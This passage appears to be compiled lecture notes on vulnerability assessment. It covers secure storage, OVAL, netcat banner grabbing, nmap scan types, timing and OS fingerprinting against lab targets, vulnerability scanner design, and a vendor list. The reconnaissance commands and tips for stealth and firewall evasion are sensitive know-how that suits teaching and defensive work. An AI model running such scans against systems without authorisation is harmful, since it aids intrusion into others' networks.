described further in Security Overview.

Digital certificates are commonly used—especially over the Internet and with email—to authenticate
users and servers, to encrypt communications, and to digitally sign data to ensure that it has not been
corrupted and was truly created by the entity that the user believes to have created it. Incorrect or
careless use of digital certificates can lead to security vulnerabilities. For example, a server
administration program shipped with a standard self-signed certificate, with the intention that the
system administrator would replace it with a unique certificate. However, many system administrators
failed to take this step, with the result that an attacker could decrypt communication with the server.
[CVE-2004-0927]

It’s worth noting that nearly all access controls can be overcome by an attacker who has physical access
to a machine and plenty of time. For example, no matter what you set a file’s permissions to, the
operating system cannot prevent someone from bypassing the operating system and reading the data
directly off the disk. Only restricting access to the machine itself and the use of robust encryption
techniques can protect data from being read or corrupted under all circumstances.

The use of access controls in your program is discussed in more detail in Elevating Privileges Safely.

Secure Storage and Encryption

Encryption can be used to protect a user’s secrets from others, either during data transmission or when
the data is stored. (The problem of how to protect a vendor’s data from being copied or used without
permission is not addressed here.) OS X provides a variety of encryption-based security options, such as

 FileVault
 the ability to create encrypted disk images
 keychain
 certificate-based digital signatures
 encryption of email
 SSL/TLS secure network communication
 Kerberos authentication
 The list of security options in iOS includes
 passcode to prevent unauthorized use of the device
 data encryption
 the ability to add a digital signature to a block of data
 keychain
 SSL/TLS secure network communication

Each service has appropriate uses, and each has limitations. For example, FileVault, which encrypts the
contents of a user’s root volume (in OS X v10.7 and later) or home directory (in earlier versions), is a
very important security feature for shared computers or computers to which attackers might gain
physical access, such as laptops. However, it is not very helpful for computers that are physically secure
but that might be attacked over the network while in use, because in that case the home directory is in
an unencrypted state and the threat is from insecure networks or shared files. Also, FileVault is only as
secure as the password chosen by the user—if the user selects an easily guessed password, or writes it
down in an easily found location, the encryption is useless.

It is a serious mistake to try to create your own encryption method or to implement a published
encryption algorithm yourself unless you are already an expert in the field. It is extremely difficult to
write secure, robust encryption code that generates unbreakable ciphertext, and it is almost always a
security vulnerability to try. For OS X, if you need cryptographic services beyond those provided by the
OS X user interface and high-level programming interfaces, you can use the open-source CSSM
Cryptographic Services Manager. See the documentation provided with the Open Source security code,
which you can download at http://developer.apple.com/darwin/projects/security/. For iOS, the
development APIs should provide all the services you need.

For more information about OS X and iOS security features, read Authentication, Authorization, and
Permissions Guide.

Software developers can counter such attacks in two ways: through educating their users, and through
clear and well-designed user interfaces that give users the information they need to make informed
decisions

Source:
https://developer.apple.com/library/content/documentation/Security/Conceptual/SecureCodingGuide/
Articles/TypesSecVuln.html

Sources of information about vulnerabilities

 https://web.nvd.nist.gov/view/vuln/search
 https://www.cvedetails.com/vulnerability-search.php
 https://www.exploit-db.com/search/
 https://cve.mitre.org/find/

OVAL

Running multiple vulnerability assessment programs allows you to detect vulnerabilities that may have
been missed, but it often results in conflicting reports. One tool says a given vulnerability is present,
while another doesn't. The Open Vulnerability Assessment Language (OVAL) project, headed by
nonprofit MITRE and funded by the Department of Homeland Security's U.S.-CERT, is being developed as
a standardized process by which security tool creators, operating system vendors and security
professionals test systems for exploitable vulnerabilities. XML-based OVAL leverages MITRE's Common
Vulnerabilities and Exposures (CVE) initiative, a standardized registry of known vulnerabilities and
security exposures. It gives security managers the ability to test for a particular CVE vulnerability in
OVAL-compliant applications and platforms. OVAL will tell testers whether vulnerable software is
installed and, if so, whether it has a vulnerable configuration. OVAL provides a schema that describes
the platforms and presents a query customized to each vulnerability that determines whether a
machine is at risk.

While OVAL may seem like a theoretical exercise, it has already generated results. MITRE offers the
language and free vulnerability definitions for Linux, Solaris and Windows and a proof-of-concept, host-
based vulnerability assessment tool under the open-source GPL license. This command-line tool can
check a system for vulnerabilities with definitions downloaded from the project site or supplied by
users. The most exciting prospect is that the OVAL interpreter may become a standard component
shipped with any operating system. It would be a welcome complement to many Linux distributions,
which ship with security tools like Nmap, Snort and Nessus.

OVAL's system characteristics schema allows OVAL-compliant tools to capture a configuration snapshot
of a system and make checks against it. Putting such configurations into XML-based OVAL facilitates the
development and maintenance of the Center for Internet Security's auditing tools and creates a
programmatic tie-in between benchmark documents and those tools. There's even a schema that the
interpreter uses to store the results of each test, making it possible for third-party vulnerability
management consoles to pull in OVAL-related information.

The OVAL board, which includes members from Red Hat, Debian, Microsoft, Cisco Systems and
Symantec, as well as government and non-profit groups, creates and approves vulnerability tests and
steers the language's refinement. MITRE is creating the first draft for vulnerability tests, but Debian's
Javier Fernandez-Sanguino Pena has already seeded the effort with automatically generated tests for
Debian vulnerabilities; Red Hat's Mark Cox has created the first draft of a Linux specification. The open-
source community will likely aid and accelerate the development of Linux tests.

OVAL promises to improve the quality of our vulnerability assessment tests as the vendors analyze and
critique them, and allow end users to create new tests. The best way to support this effort is to look at
the language, try the vulnerability assessment tool and push your vendors towards OVAL compatibility.

Source: http://searchsecurity.techtarget.com/opinion/Vulnerability-testing-with-Open-Vulnerability-
Assessment-Language

Lecture 3.2 Manual search for vulnerabilities;

Banner grabbing

Banner Grabbing Using Netcat

Netcat is a networking utility that reads and writes data across network connections, using the TCP/IP
protocol. It is designed to be a reliable "back-end” tool that can be used directly, or easily driven by
other programs and scripts. At the same time, it is a feature-rich network debugging and exploration
tool (since it can create almost any kind of connection you would need and has several interesting built-
in capabilities).

It provides access to the following main features:

• Outbound or inbound connections, TCP or UDP, to or from any ports

• Full DNS forward/reverse checking, with appropriate warnings

• Ability to use any local source port

• Ability to use any locally-configured network source address

• Built-in port-scanning capabilities, with randomizer

• Built-in loose source-routing capability

• Can read command line arguments from standard input

• Optional ability to let another program service inbound connections

In the following exercises, you will use Netcat to grab application banners using various techniques.

Exercise 1: Banner grabbing using Netcat:

1. From a shell, type the following (only type what's in bold):

root@kali:~# nc -v target_IP_address 80 (wait a few seconds for Netcat to try and resolve the target
hostname into an IP address)

Syntax breakdown:

nc: program name

-v: verbose mode

target_IP_address: the IP address of the target system 80: open TCP port on target system

2. Then (only type what’s in bold):

GET /index.html HTTP/1.0 - hit RETURN a few times - (NOTE: you can also use 1.1 instead of 1.0)

List the Web server software vendor and version running on port 80 on the target system:

NMAP

Nmap has the ability to determine not only the computers that are active on the target network, but in
many cases, it can also determine operating system, listening ports, services, and possibly user
credentials. By using a combination of commands, switches, and options against targets, Nmap can be a
great asset in the scanning phase of the penetration testing engagement.

Structure of the NMAP:

Scanning Options
The use of the “-s” (lowercase s) scanning prefix alerts the Nmap scanning engine that the user is
specifying a specific type of scan should be conducted on the target(s) defined in the scan command.
The lowercase “s” is followed by an upper case letter that will identify the scan type. The selection of
scan type can assist the penetration tester in evading detection by some host and network-based
protection systems and may even circumvent network protections like firewalls.

–sS Stealth Scan

The stealth scan is the default scan option used by Nmap when no scan option is defined. The stealth
scan can also be intentionally initiated when the –sS option is set in the command string. This scan
initiates a TCP connection with the target but never completes the three-way handshake. The Nessus
engine initiates the handshake by sending the target machine a SYN packet. The target machine will
hopefully reply with a SYN/ACK packet that is not acknowledged by the Nessus engine. This leaves a
connection open, as the communication channel is never completely built. Most systems close this
connection automatically after a certain time period. In older and poorly configured systems, this type
of connection can go undetected, so this type of scan is often associated with a more clandestine and
considered less noisy scan of the target. Today many network systems and even hosts can detect the
stealth scan; however, this should not deter the penetration tester from scanning with this technique as
it will often be harder to detect than other scans and if the system being targeted is poorly configured,
the scan may go totally unnoticed even today.

–sT TCP Connect Scan

The TCP connect scan can often be used to gather more information about the target than the stealth
scan as a full TCP connection is made with the targeted host. In this case, the Nessus engine initiates a
SYN packet that is hopefully acknowledged by the target with a SYN/ACK reply. Unlike the stealth scan,
this time the Nessus engine completed the communication path by sending a final ACK packet.

–sU UDP Scan

The UDP scan assesses the UDP ports on the target system. Unlike scanning TCP ports, UDP scans expect
to receive replies back from systems that have the tested ports closed. Packets sent to open UDP ports
are not responded; however, if the packet sent elicits a response from the target, then the port being
probed is open. If no response is received, then the port could be open or could be filtered by a device
like a firewall. Closed UDP ports can be identified by an ICMP response with a type 3 and code 3
response (port unreachable). Finally, ports that are confirmed to be filtered will have an ICMP response
of type 3 with codes of 1, 2, 9, 10, or 13, indicating various unreachable errors.

–sA

The ACK scan, –sA, is used to try to determine if a TCP port is filtered or unfiltered. This scan initiates
communications with the target with the acknowledgment (ACK) flag set. This type of scan sometimes
can bypass certain firewalls by posing as a response (ACK) to an internally sent request. For example, a
SYN packet is sent from the target computer, even though this internal computer never sent a request.
A reset (RST) response to this scan indicates that the queried port is unfiltered. If no response is
received or if a type 3 ICMP response with a code of 1, 2 , 3, 9, 10, or 13 (unreachable error) indicates
that the port is filtered.

Timing Templates

As stated above, the default timing template used by Nmap if no timing switch is set is –T3 or normal.
Nmap has the built-in ability to let the user override this functionality to scan the target set faster or
slower than the normal default speed. There are a number of different settings that are adjusted based
on the timing template that is selected, but the most illustrative are the delays between scanning
probes and parallel processing status. For this reason, the scan_delay, max_scan_delay, and
max_parallelism options will be used to explain each of the different timing templates. These options
provide a good method to measure each of the timing templates to ensure the correct template is set
for the engagement and target network. The scan_delay setting sets the minimum pause between
probes sent to the target machine while the max_scan_delay indicates the maximum time the scanner
will allow the scanning delay to grow based on target and network settings. This can be important as
some systems will only reply to probes at a specific rate. Nmap will automatically adjust the probe
timing to match the requirements of the system or network up to the max_scan_delay setting.
Max_parallelism instructs the system to either send one probe at a time for serial scans or multiple
probes at the same time for parallel scans.

The following examples will all use the same target, the Metasploitable2 virtual machine with the –sU
(UDP scan) switch set. While it has not been introduced the example will use the port switch (-p) to
indicate the first 500 ports should be scanned with the –p 1–500 switch combination. The Nmap
command for this will look like the following; however, the hash tag (#) will be replaced with the
number of the template to be used for that specific example. This way the timing of the scans can be
compared to each other. While the –T# switch is being used in this example, the English text could also
be used to achieve the same results, therefore –T5 and –timing insane result in the same scan being run.

nmap –sU –T# p 1-500 10.0.2.100

Or

nmap –sU --timing paranoid –p 1-500 10.0.2.100

–T0 Paranoid

The –T0 or Paranoid scan is used for slow network links or in situations where detection risks must be
minimized. This is a serial scan that will pause for a base minimum of 5 minutes; however, the
max_delay setting of second is ignored as the base scan_delay is set to a value higher than this default
value. It is easy to see the amount of time needed to complete the paranoid scan on only 500 UDP ports
on a single computer in Figure 8.8. In Figure 8.8, the system time is displayed at the top of the figure as
10:29 AM and the scan start time was 8:23 AM indication the scan has been running for over 2 hours.
The last line indicates that the scan will complete in another 45 hours and 37 minutes. This scan can be
effective but should be used when stealth is required and a lot of time is available.

–T1 Sneaky

The –T1 or --timing sneaky scan is slightly faster than the paranoid scan, reducing the scan time needed
while maintaining some of the stealth inherent in a slower scan. This scan also uses a serial process for
querying the target, but reduces the scan_delay quite dramatically to 15 seconds. While the scan_delay
is reduced, it is still a larger value than the max_scan_delay so this second value is ignored. The
difference in speed between this scan and the –T0 scan is the scan time to 8331 seconds or 138 minutes.

–T2 Polite

The –T2 or --timing polite scan is an increase in speed again over the –T0 and –T1 scan and is the last
scanning template to use the serial scanning technique. The scan_delay for this scan is set to 400
milliseconds, making this the first template to make use of the max_scan delay, a value that is still set to
the default value of 1 second. With this template selected Nmap will begin scanning targets using the
scan_delay of 400 milliseconds but has the ability to dynamically adjust the delay up to a maximum of 1
second. By examining the time required to complete the polite scan of the same 500 ports, overall
scanning time has been reduced to just 544 seconds or just 9 minutes.
–T3 Normal

The –T3 or --timing normal scan is the default scan for Nmap, meaning that if no timing template or
manual timing options are set, the settings in this template will be used for the scan. This template is
the first to use the parallel processing technique, sending multiple probes out simultaneously, increasing
the overall speed. This scan has a scan_delay of 0 seconds that can grow to a max_scan_delay that can
grow to 1 second, meaning the scan will occur as quickly as possible but after 1 second the current port
scan will be abandoned and the next port will be scanned. The normal scan will complete the scan of
selected ports on the target computer in 547 seconds, actually slower than the polite scan in this case,
however this is not normally the case. This is one of the strange quirks of scanning, at times things will
align and a scan that should be slower really is not that much slower. This is why the successful
penetration tester should be familiar with all of the tools in his or her arsenal to know how to best
employ them.

–T4 Aggressive

The –T4 or --timing aggressive template also runs its scanning in parallel increasing speed. The
scan_delay for this template is set to 0 seconds and can grow to a max_scan_delay of 10 milliseconds.
Scans with a max_scan_delay of less than 1 second are prone to errors as some target operating
systems have settings that require a minimum delay between probe responses of 1 second. This scan
completed the port scan of the metasploit virtual machine in just 477 seconds or just under 8 minutes

–T5 Insane

The –T5 or --timing insane timing template is the fastest of the built-in timing templates. This template
uses the parallel scanning technique with a scan_delay of 0 seconds and a max_scan_delay of 5
milliseconds. As stated with the –Aggressive scan, this scan can cause errors based on target machine
operating systems and settings. This scan, the fastest, completed in just under 22 seconds; however, the
results are quite a bit different than all of the scans to this point.

electing Ports

Selecting ports can be done by using the –p switch in the scan command. The ports can be continuous
by using a dash in the command. Selected ports can also be identified by using commas in the
command.

nmap –sS –p 1-100

nmap –sU –p 53,137,138,161,162

(or use both) nmap -sS -p 1-100,445,8000-9000

Output Options

There are many times that the penetration tester does not want the Nmap scan to be output to the
screen but rather saved to a file. This can be done by redirecting with the pipe command (|), but for this
chapter the Nmap scan output options will be described. These include normal, XML, and GREPable. For
all of these examples, the metasploitable target at 10.0.2.100 will be used and the appropriate
extension will be used with the file name “metascan”.

–oN Normal Output

The normal output option will create a text file that can be used to evaluate the scan results or use as
input for other programs.

nmap –oN metascan.txt 10.0.2.100

–oX Extensible Markup Language (XML) Output

XML output can be used for input into a number of different applications for further processing or
evaluation.
nmap –oX metascan.xml 10.0.2.100

–oG GREPable Output

GREPable output is often used by penetration testers to allow further investigation using tools like
GREP, but can also be searched using tools like AWK, SED, and DIFF.

nmap –oG metascan.txt 10.0.2.100

–oS ScRipT Kidd|# oUTpuT

While not used for serious penetration testing, the script kiddie output can be fun to use from time to
time. This output method should not be used for serious scans as it uses the “leet” speak used by many
that most penetration testers would call “script Kiddies.”

nmap –oS metascan.txt 10.0.2.100

Nmap Scripting Engine

Building custom scripts for Nmap is beyond the scope of this book; however, the ability to use
preconfigured scripts can be quite helpful for conducting penetration tests. The full set of preconfigured
scripts can be found at http://nmap.org/nsedoc/. For this example the script to get the targets NetBIOS
and MAC address information. To tell the Nmap scanning engine that a script will be used the --script
flag is used as in the example.

nmap --script nbstat.nse 10.0.2.100

Nmap is constantly involved in the development of new scripts for community use. A security tester will
want to make sure that the scripting database within Nmap is as up-to-date as possible. It is
recommended that the database be updated before heading out on mission. To update the Nmap
database:

nmap --script-updatedb

Source: Hacking with Kali Practical Penetration Testing Techniques

Summary of nmap keys

Nmap Response if
Type of Packet Sent Response if Open
Switch Closed
Notes
-sT Operating Connection Connection refused
system made or time-out
(OS)-based
connect

Basic nonprivileged scan type. Not stealthy since it

completes the three-way handshake (logged). Can cause a
denial of service (DoS) older systems.
-sS Transmission Control SYN/ACK RST
Protocol (TCP) SYN
packet
Default scan type if you are running as root. Stealthy.
Creates a listing of the open ports on the target and
potentially open/ filtered ports if the target is behind a
firewall.
-sN Bare TCP packet (no Connection RST
time-out
flags)

Use to bypass nonstateful firewalls

-sF TCP packet with FIN Connection RST

time-out
flag

Use to bypass nonstateful firewalls

-sX TCP packet with FIN, Connection RST

time-out
PSH,and URG flags

Use to bypass nonstateful firewalls

-sA TCP packet with ACK RST RST

flag

Firewall rule set mapping. Executes both service scan (-sV)

and OS fingerprint (-O).

-sW TCP packet with ACK FST RST

flag

Use to determine if filtered port is open or closed.

-sM TCP FIN/ACK packets Connection RST

time-out

Works for certain BSD systems

 -sI TCP SYN packet SYN/ACK RST

Uses a zombie host that will show up as scan originator.

-sO IP packet headers Response in any Internet

protocol Control
Message
Protocol
(ICMP)
unreachable
Map out which IP protocols are in use by the host.

-sU Blank User ICMP ICMP port

unreachable (type 3, unreachable (type 3,
Datagram code 1, 2, 9, 10, or code 3)
Protocol 13)
(UDP)
Slow due to timeouts from open and filtered ports. Use
header
for UDP scans, which are much slower but useful for
infrastructure devices and SunOS/ Solaris machines.

Banner grabbing with NMAP

-sV

Version detection is the right technique that is used to find out what software version is running on the
target computer and on the respective ports. It is unlike the other scanning techniques because it is not
used to detect the open ports, but it requires the information from open ports to detect the software
version. In the first step of this scan technique, version detection uses the TCP SYN scan to find out
which ports are open.

-O

When you explore a network for security auditing or inventory/administration, from the standpoint of
defensive or offensive, there are some reasons why one would want to know the Operating Systems
present in the network. The most comfortable way to successfully obtain this information it’s the TCP/IP
fingerprinting, from the Wikipedia:

Certain parameters within the TCP protocol definition are left up to the implementation. Different
operating systems, and different versions of the same operating system, set different defaults for these
values. By collecting and examining these values, one may differentiate among various operating
systems, and implementations of TCP/IP.
Basically there are two approaches to make the TCP/IP fingerprinting, one it’s the Passive OS
Fingerprinting and the orther is the active OS fingerprinting. In the passive version, whose main
advantages is that it is very stealthy and does not consume bandwidth, you put the network interface in
promiscuous mode in order to capture as much network traffic, and then examining the values of fields
in the TCP/IP header to determine the OS. There are several tools in order to make a Passive OS
fingerprinting, like p0f tool or ettercap. The main disadvantage of passive approaches is that it is
dependent of system activity and it is little detailed.

The other approach is the active OS fingerprinting, more aggressive, but provides a very detail
information sending queries to host and observing the responses to these queries. The ultimate tool to
carry out this method it’s Nmap. Nmap OS fingerprinting works by sending up to 16 TCP, UDP, and ICMP
probes to known open and closed ports of the target machine. These probes are specially designed to
exploit various ambiguities in the standard protocol RFCs, then Nmap watches how the scanned host
responds to these odd packets in order to determine the OS. Let’s see an example for Nmap remote Os
discovering:

# nmap -O 192.168.1.2

Starting Nmap 6.40 ( http://nmap.org ) at 2013-11-18 16:24 CET

Nmap scan report for 192.168.1.2

Host is up (0.00083s latency).

Not shown: 996 filtered ports

PORT STATE SERVICE

135/tcp open msrpc

139/tcp open netbios-ssn

445/tcp open microsoft-ds

3389/tcp open ms-wbt-server

MAC Address: 70:F3:95:0F:66:1B (Universal Global Scientific Industrial Co.)

Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port

Device type: general purpose|phone

Running: Microsoft Windows 7|Phone|Vista|2008

OS CPE: cpe:/o:microsoft:windows_7::-:professional cpe:/o:microsoft:windows

cpe:/o:microsoft:windows_vista::- cpe:/o:microsoft:windows_vista::sp1
cpe:/o:microsoft:windows_server_2008::sp1

OS details: Microsoft Windows 7 Professional, Microsoft Windows Phone 7.5, Microsoft Windows Vista
SP0 or SP1, Windows Server 2008 SP1, or Windows 7, Microsoft Windows Vista SP2, Windows 7 SP1, or
Windows Server 2008

Network Distance: 1 hop

Lecture 3.3 Automated search for vulnerabilities;
Overview of vulnerability scanners

WHAT IS A VULNERABILITY SCANNER?

A vulnerability scanner can assess a variety of vulnerabilities across information systems (including
computers, network systems, operating systems, and software applications) that may have originated
from a vendor, system administration activities, or general day- to-day user activities:

1. Vendor-originated: this includes software bugs, missing operating system patches, vulnerable
services, insecure default configurations, and web application vulnerabilities.
2. System administration-originated: this includes incorrect or unauthorised system configuration
changes, lack of password protection policies, and so on.
3. User-originated: this includes sharing directories to unauthorised parties, failure to run virus
scanning software, and malicious activities, such as deliberately introducing system backdoors.

THE BENEFITS OF VULERABILITY SCANNERS

Firstly, a vulnerability scanner allows early detection and handling of known security problems. By
employing ongoing security assessments using vulnerability scanners, it is easy to identify security
vulnerabilities that may be present in the network, from both the internal and external perspective.

Secondly, a new device or even a new system may be connected to the network without authorisation.
A vulnerability scanner can help identify rogue machines, which might endanger overall system and
network security.

Thirdly, a vulnerability scanner helps to verify the inventory of all devices on the network. The inventory
includes the device type, operating system version and patch level, hardware configurations and other
relevant system information. This information is useful in security management and tracking.

THE LIMITATIONS OF VULERABILITY SCANNERS

The drawbacks of vulnerability scanners are:

1. Snapshot only: a vulnerability scanner can only assess a "snapshot of time" in terms of a system
or network's security status. Therefore, scanning needs to be conducted regularly, as new
vulnerabilities can emerge, or system configuration changes can introduce new security holes.
2. Human judgement is needed: Vulnerability scanners can only report vulnerabilities according to
the plug-ins installed in the scan database. They cannot determine whether the response is a
false negative or a false positive . Human judgement is always needed in analysing the data after
the scanning process. Others: a vulnerability scanner is designed to discover known
vulnerabilities only. It cannot identify other security threats, such as those related to physical,
operational or procedural issues.

In addition, many vulnerability scanners rely on “plug-ins” to determine potential vulnerabilities. Plug-
ins are part of the knowledge database (or scan database) of the vulnerabilities that the scanner is
capable of detecting. These databases may be named differently (such as “Scanning Profile”) in different
scanner products, but the term “plug-ins” will be used in this article. The finite number of plug-ins can
be another drawback with vulnerability scanners. A scanner can only check for those vulnerabilities that
it “knows”, by cross checking with the presence of its corresponding installed plug-in set. It cannot
identify those vulnerabilities that don’t have a plug-in. Not all scanners need plug-ins. For example, port
scanners do not need any plug-ins as they just scan a target range of ports.
In general, a vulnerability scanner is made up of four main modules, namely, a Scan Engine, a Scan
Database, a Report Module and a User Interface.

1. The Scan Engine executes security checks according to its installed plug-ins, identifying system
information and vulnerabilities. It can scan more than one host at a time and compares the results
against known vulnerabilities.

2. The Scan Database stores vulnerability information, scan results, and other data used by
scanner. The number of available plug-ins, and the updating frequency of plug-ins will vary depending
on the corresponding vendor. Each plug-in might contain not only the test case itself, but also a
vulnerability description, a

Common Vulnerabilities and Exposures (CVE) identifier; and even fixing instructions for a detected
vulnerability. Scanners with an "auto-update" feature can download and install the latest set of plug-ins
to the database automatically.

3. The Report Module provides different levels of reports on the scan results, such as detailed
technical reports with suggested remedies for system administrators, summary reports for security
managers, and high-level graph and trend reports for executives.

4. The User Interface allows the administrator to operate the scanner. It may be either a Graphical
User Interface (GUI), or just a command line interface.

Most vulnerability scanners are characterised by their modular structure as explained above. However,
there are also primitive scanners that are basically sets of scripts or C- code exploits producing simple
plain-text files as scanning results. Updates to these primitive scanners are infrequent and require
manual intervention.

On the other hand, there are now a number of Distributed Network Scanners with more complex
architecture. When enterprise networks are widely distributed, Distributed Network Scanners are used.
They are composed of remote scanning agents, a plug-in update mechanism for those agents, and a
centralised management point. Such scanners are capable of assessing vulnerabilities across multiple,
geographically dispersed networks from one centralised management console, which can then
distribute updates to scanning agents, modify settings in all scan engines, and schedule testing activities
across the whole enterprise. Scan results are in turn collected from all remote scanning agents into the
central database for analysis and reporting.

Vulnerability scanners can be divided broadly into two groups: network-based scanners that run over
the network, and host-based scanners that run on the target host itself.

NETWORK-BASED SCANNERS

A network-based scanner is usually installed on a single machine that scans a number of other hosts on
the network. It helps detect critical vulnerabilities such as mis-configured firewalls, vulnerable web
servers, risks associated with vendor-supplied software, and risks associated with network and systems
administration.

Different types of network-based scanners include:

1. Port Scanners that determine the list of open network ports in remote systems;
2. Web Server Scanners that assess the possible vulnerabilities (e.g. potentially dangerous files or
CGIs) in remote web servers;

3. Web Application Scanners that assess the security aspects of web applications (such as cross site
scripting and SQL injection) running on web servers. It should be noted that web application scanners
cannot provide comprehensive security checks on every aspect of a target web application. Additional
manual checking (such as whether a login account is locked after a number of invalid login attempts)
might be needed in order to supplement the testing of web applications.

HOST-BASED SCANNERS

A host-based scanner is installed in the host to be scanned, and has direct access to low- level data, such
as specific services and configuration details of the host's operating system. It can therefore provide
insight into risky user activities such as using easily guessed passwords or even no password. It can also
detect signs that an attacker has already compromised a system, including looking for suspicious file
names, unexpected new system files or device files, and unexpected privileged programs. Host-based
scanners can also perform baseline (or file system) checks. Network-based scanners cannot perform this
level of security check because they do not have direct access to the file system on the target host.

A database scanner is an example of a host-based vulnerability scanner. It performs detailed security

analysis of the authorisation, authentication, and integrity of database systems, and can identify any
potential security exposures in database systems, ranging from weak passwords and security mis-
configurations to Trojan horses.

CHOOSING A VULNERABILITY SCANNER

The following factors should be considered when selecting a vulnerability scanner:

1. Updating Frequency and Method of Plug-in Updates

Usually, a vulnerability scanner cannot identify a vulnerability if its corresponding “plug-in” is not
available. As a result, the faster a vendor can produce updated and new plug-ins, the more capable a
scanner is in spotting new flaws. Also, scanners with an "auto-update" feature can automatically
download and install the latest plug-ins on a regular basis. This should be considered when choosing a
vulnerability scanner.

2. Quality versus Quantity of Vulnerabilities Detected

The accuracy with which critical vulnerabilities are identified is more important than the number of
vulnerability checks, because the same vulnerability may be counted more than once by the scanner.
The effective number of vulnerabilities in terms of Common Vulnerabilities and Exposures (CVE) can be
compared in a list of standardised names for vulnerabilities and other information security exposures.
The content of a CVE is a result of a collaborative effort by the CVE Editorial Board.

3. Quality of Scanning Reports

Apart from the details of detected vulnerabilities, a useful scanning report should give clear and concise
information about fixing the problems uncovered. When administrators need to perform subsequent
scans after initial scanning or configuration changes, or make comparison between the results of
previous scans, a scanner with a back-end database that can keep an archive scanning results for trend
analysis is preferable.

OPERATIONAL ISSUES
The following are issues that need to be considered before conducting vulnerability scanning:

Deployment Practices

Location of the Scanner (applicable to a network-based scanner)

Whether a scanner is located in front of or behind the firewall will have an effect on the scan result.
Scanning an internal network from outside the firewall will only detect services that are available to the
outside, but not vulnerabilities within the internal network that cannot be seen due to the protections
provided by the firewall. On the other hand, scanning DMZ hosts from the inside may not provide a
complete picture of the security position. Therefore, both external and internal scanning should be
conducted in order to build a more complete picture.

Scanning Port Range (applicable to a network-based scanner)

Port scanning detects which ports are available (i.e., being listened to by a service). Because open ports
may imply security weaknesses, port scanning is one of the basic reconnaissance techniques used by
attackers. Therefore, security scanning should always include port scanning. However, some
vulnerability scanners have a pre-defined default

port range set, such as only from port 0 to 15000. System administrators should be aware of these
default settings and ensure all necessary ports are scanned.

Baseline Setup

The general cycle of a vulnerability scanning includes an initial assessment, implementation of

recommended remedies, followed by a re-assessment. To verify the effectiveness of remedies, it is a
good practice to keep archived logs of all scans (i.e. develop a working baseline), and compare the latest
results with the baseline for trend analysis over time.

After-scan and Ongoing Practices

The scanning process itself is only part of a good assessment exercise. It is important to correctly
interpret the scanning results so that valid vulnerabilities can be identified and subsequently fixed. The
priority of necessary follow-up action should also be worked out and agreed upon.

In order to achieve this, vulnerability scanning and afterscan follow-up must be supported by solid
security policies, so that vulnerabilities that are discovered will actually get fixed. In addition, a practice
of continual scanning is essential. Systems should always be re-scanned after patches have been
applied, any configuration changes, any installation of new software, or just on a fixed-time regular
basis.

Precautions

crashing an already vulnerable as a DoS scan) are enabled.

Therefore, risk assessment and careful planning are necessary before scanning. Usually, for a pre-
production system, it might be acceptable to enable all plug-ins including high- risk ones. However, for
ongoing continual scans on a production system, administrators should consider disabling certain high-
risk plug-ins.

In addition, when conducting scanning using a network-based scanner, a large amount of system
requests and network traffic will be generated. The administrator should note any deterioration in the
system and network performance of the target groups during scanning.

Handling of the scanning results

Leakage of scanning results, which contain system vulnerability information, may facilitate attackers in
exploiting those loopholes directly. It is therefore important to safeguard this information by keeping it
in a safe place, or keeping it encrypted to prevent unauthorised access. If an external party is employed
for the assessment process, the organisation should ensure that any party involved is trustworthy, and
that both findings and proprietary information will be kept secure.

Policies and procedures for the Scanning Process

Malicious or improper use of scanning tools could pose an enormous risk and cause tremendous harm
to information systems. Therefore, policies and procedures should be in place to specify whom, how
and when vulnerability assessment tools are to be used. Such policies may include the kind of prior
arrangement or notifications, management approval and/or legal clearances that are required before a
scanning takes place. No one should be allowed to conduct any vulnerability scanning without prior
permission.

Source: http://www.infosec.gov.hk/english/technical/files/vulnerability.pdf

Vendors of vulnerability assessment software

The vendors listed in this Market Guide do not imply an exhaustive list. This section is intended to
provide more understanding of the market and its offerings.

The vendors listed in this Market Guide all provide mature capabilities for vulnerability assessment of
common network-based devices, as well as features to allow the analysis, reporting and management of
vulnerabilities and remediation.

BeyondSecurity

BeyondSecurity (Cupertino, California) provides the Automated Vulnerability Detection System (AVDS)
network vulnerability assessment solution as an on-premises and cloud-based offering.

BeyondTrust

BeyondTrust (Phoenix, Arizona) was recently acquired by Veritas Capital. BeyondTrust acquired Eeye
Digital Security in 2012 and offers the Retina CS vulnerability assessment solution, as well as a cloud-
based perimeter-only service, BeyondSaaS. Retina CS is part of a unified security management portfolio
that also provides privileged account management (PAM) and security analytics and reporting for VA
and PAM.

Critical Watch

Critical Watch (Dallas, Texas) provides the FusionVM vulnerability management and compliance
solution, as well as ACI Platform, the security intelligence solution.
Digital Defense

Digital Defense or DDI (San Antonio, Texas) provides Frontline Vulnerability Lifecycle Management, with
two different models available. The first delivers cloud-based security assessments and can be combined
with an on-premises appliance for internal scanning. The second option extends the first model with a
managed model that includes additional SOC support in the form of a dedicated security analyst.

Greenbone Networks

Greenbone Networks (Osnabrueck, Germany) provides Greenbone Security Manager for on-premises
deployment. The company also maintains Open Vulnerability Assessment System (OpenVAS), open
source. Greenbone has a focus on European standards such as BSI IT-Grundschutz.

IBM

IBM (New York, New York) released its QRadar Vulnerability Manager in July 2013 as part of its IBM
QRadar Security Intelligence Platform. The engine has been licensed from a mature VA vendor. It is fully
integrated with SIEM and also available as a stand-alone offering. Gartner has seen the QRadar
Vulnerability Manager included in recent SIEM proposals.

Intel Security

Intel Security (Santa Clara, California) provides the McAfee Vulnerability Manager (MVM) solution as an
on-premises model. MVM can integrate with many other solutions from the McAfee portfolio and from
third-party technology partners.

NSFOCUS Information Technology

NSFOCUS (Beijing, China) is a network security vendor. The company's VA products include NSFOCUS
RSAS, mainly for host system vulnerability scanning, as well as NSFOCUS ICSScan for industrial control
system vulnerability scanning. The vulnerability assessment solutions are available as on-premises and
also as cloud-based deployment models. These products are currently marketed mainly in China, but the
company plans to expand to the international market in early 2015.

Outpost24
Outpost24 (Karlskrona, Sweden) has a portfolio that includes: HIAB or hacker-in-a-box, an on-premises
solution for scanning internal networks; Outscan, a cloud-based solution for perimeter scanning; and
Secure Web Application Tactics (SWAT), a vulnerability management tool for Web applications.

Positive Technologies

Positive Technologies (Framingham, Massachusetts, and London, England) provides the MaxPatrol
vulnerability and compliance management solution with an on-premises deployment model, as well as a
